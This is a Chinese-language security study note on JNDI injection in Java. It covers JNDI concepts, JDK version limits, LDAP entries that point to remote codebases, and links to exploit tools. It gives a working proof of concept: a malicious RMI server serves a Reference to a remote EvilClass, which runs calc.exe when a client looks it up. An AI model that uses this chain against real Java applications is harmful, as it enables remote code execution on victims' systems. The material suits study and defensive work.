Sources:

利用:

  1. 低版本通过Reference加载远程类.
    1. lookup参数可控, 可直接加载恶意服务器的恶意类
    2. lookup参数不可控, 但是Server的factoryLocation参数可注入, 可篡改factoryLocation攻击
  2. codeBase Attack: 似乎非常不常用,暂时pass, 原理可参考P师傅RMI篇.
  3. 高版本下: JDK 6u141、7u131、8u121之后,com.sun.jndi.rmi.object.trustURLCodebase=false.
    1. 利用本地的classFactoryLocation实现攻击
    2. 如: org.apache.naming.factory.BeanFactory
      1. 依赖Tomcat环境.
      2. 具体依赖Tomcat中的jar包为:catalina.jar、el-api.jar、jasper-el.jar

高版本利用总结: https://tttang.com/archive/1405/

什么是JNDI

JNDI: Java Naming and Directory Interface, Java名称目录接口.

  1. 何为Naming?

简单来说就是一个名称服务, 类似DNS, 文件系统等等. 可以通过一个绑定的名字找到对应的对象.

  1. 何为Directory?

目录服务, 目录服务是名称服务的一种扩展,它允许对象拥有属性信息等, 及我们通过目录服务,不仅可以直接用名称搜索对象,还可以用属性搜索对象.

  1. 几个重要的概念:
    1. Bindings: 表示一个名称与对应对象的绑定关系
    2. Context: 包含一组名称到对象的绑定关系
    3. subContext: Context中又包含一个Context.
    4. Reference: 名称不是绑定到具体的对象上,而是一个可以找到这个对象的东西上,如指针.
  2. JNDI架构: 主要包括JNDI API和SPI两个部分.

image.png

  1. 什么是JNDI SPI:

就是实现JNDI这一个架构的底层协议. 包括LDAP,RMI,DNS,CORBA.
其中 RMI、LDAP 和 CORBA是JNDI中内置的Service Provider.

  1. Show me the code

Java的包:

核心是javax.naming

  1. Context ctx = new InitialContext(env);
  2. Printer printer = (Printer)ctx.lookup("myprinter");
  3. printer.print(report);

SPI介绍

RMI

参考 RMI专题

LDAP

对于LDAP这个协议(或者说服务)大致已经有了足够的认识了(应该), 因为Windows域的核心就是这个服务.
LDAP操作: Bind/Unbind、Search、Modify、Add、Delete、Compare

CORBA

没怎么用到这个, pass.

JNDI实现

DNSClient

  1. import javax.naming.Context;
  2. import javax.naming.directory.*;
  3. import java.util.Hashtable;
  4. public class DNSClient {
  5. public static void main(String[] args) {
  6. Hashtable<String, String> env = new Hashtable<>();
  7. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
  8. env.put(Context.PROVIDER_URL, "dns://114.114.114.114");
  9. try {
  10. DirContext ctx = new InitialDirContext(env);
  11. Attributes res = ctx.getAttributes("example.com", new String[] {"A"});
  12. System.out.println(res);
  13. } catch (Exception e) {
  14. e.printStackTrace();
  15. }
  16. }
  17. }

LDAPClient

  1. import javax.naming.Context;
  2. import javax.naming.directory.*;
  3. import java.util.Hashtable;
  4. public class LDAPClient {
  5. public static void main(String[] args) {
  6. Hashtable<String, String> env = new Hashtable<>();
  7. env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
  8. env.put(Context.PROVIDER_URL, "ldap://localhost:8080");
  9. try {
  10. DirContext ctx = new InitialDirContext(env);
  11. DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
  12. Attributes res = lookCtx.getAttributes("");
  13. System.out.println(res);
  14. } catch (Exception e) {
  15. e.printStackTrace();
  16. }
  17. }
  18. }

RMI Client

  1. import javax.naming.Context;
  2. import javax.naming.InitialContext;
  3. public class RMIClient {
  4. public static void main(String[] args) throws Exception {
  5. String uri = "rmi://127.0.0.1:1099/aa";
  6. Context ctx = new InitialContext();
  7. ctx.lookup(uri);
  8. }
  9. }

JNDI注入

都是恶意Server Attack Client.

动态协议

根据 : https://evilpan.com/2021/12/13/jndi-injection/#%E5%8A%A8%E6%80%81%E5%8D%8F%E8%AE%AE%E5%88%87%E6%8D%A2
调用context.lookup(“XXX”); JNDI会根据参数自动识别协议和服务并发送请求, 即使在初始Context时设置了类型也无效.
image.png
关键点:

  1. 即使设置了Provider为LocalHost, 也可用改变为别的地址.
  2. 即使设置了dns协议, 也可以改变为rmi协议.

    RMI的利用

    低版本下加载远程类

    BadRMIServer: 绑定test到一个Reference对象, 该对象引用了EvilClass类.

    com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要额外引入对应 jar 包。

  1. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  2. import javax.naming.Reference;
  3. import java.rmi.registry.LocateRegistry;
  4. import java.rmi.registry.Registry;
  5. public class BadRMIServer {
  6. public static void main(String[] args) throws Exception {
  7. try {
  8. Registry registry = LocateRegistry.createRegistry(1099);
  9. Reference aa = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8081/");
  10. ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
  11. registry.bind("test", refObjWrapper);
  12. } catch (Exception e) {
  13. e.printStackTrace();
  14. }
  15. }
  16. }

EvilClass: 简单的弹个计算器

  1. public class EvilClass implements ObjectFactory {
  2. static {
  3. try {
  4. Runtime.getRuntime().exec("calc.exe");
  5. } catch (IOException e) {
  6. e.printStackTrace();
  7. }
  8. }
  9. @Override
  10. public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
  11. return null;
  12. }
  13. }

Client:

  1. public static void main(String[] args) {
  2. try {
  3. String uri = "rmi://127.0.0.1:1099/test";
  4. Context ctx = new InitialContext();
  5. ctx.lookup(uri);
  6. } catch (Exception e) {
  7. e.printStackTrace();
  8. }
  9. }

仅低版本可用,
高版本jdk将不允许Client加载远程代码. 需要设置: -Dcom.sun.jndi.rmi.object.trustURLCodebase=true
高版本: 8u121、7u131、6u141及以上
Bypass: 只能通过加载本地类利用链攻击
原理? 如果发现RMI对象是Reference, 就会加载并实例化这个类.
应用获取到ReferenceWrapper之后:

  1. 尝试在ClassPath中搜索该类
  2. 搜索不存在则到远程地址去加载.

image.png

高版本加载本地类

设置了 com.sun.jndi.rmi.object.trustURLCodebase=false 之后想要攻击成功只能依赖于Client本地的利用链了. 参考下文高版本利用:

LDAP的利用

低版本下加载远程类

LDAPServer保存如下格式的Java对象引用:

  1. ObjectClass: javaNamingReference
  2. javaCodebase: http://localhost:5000/
  3. JavaFactory: EvilClass
  4. javaClassName: FooBar

然后在调用lookup方法查询这个对象的时候就会加载并实例化这个EvilClass.

加载本地类

参考远程类绕过.

CORBA

存在一个CodeBase Attack , 参考 P牛RMI篇的例子.

高版本利用

利用本地恶意Class

目前见到的只有这个类的利用思路: org.apache.naming.factory.BeanFactory
TODO: 复现
TODO: 分析

LDAP返回序列化数据

“LDAP服务端除了支持JNDI Reference这种利用方式外,还支持直接返回一个序列化的对象。如果Java对象的javaSerializedData属性值不为空,则客户端的obj.decodeObject()方法就会对这个字段的内容进行反序列化。”
TODO: 复现.
TODO: 分析.

Tools.

  1. https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md
  2. 改进: https://github.com/su18/JNDI
  3. JNDI Tool: https://github.com/wyzxxz/jndi_tool
  4. 高版本下Bypass: https://github.com/welk1n/JNDI-Injection-Bypass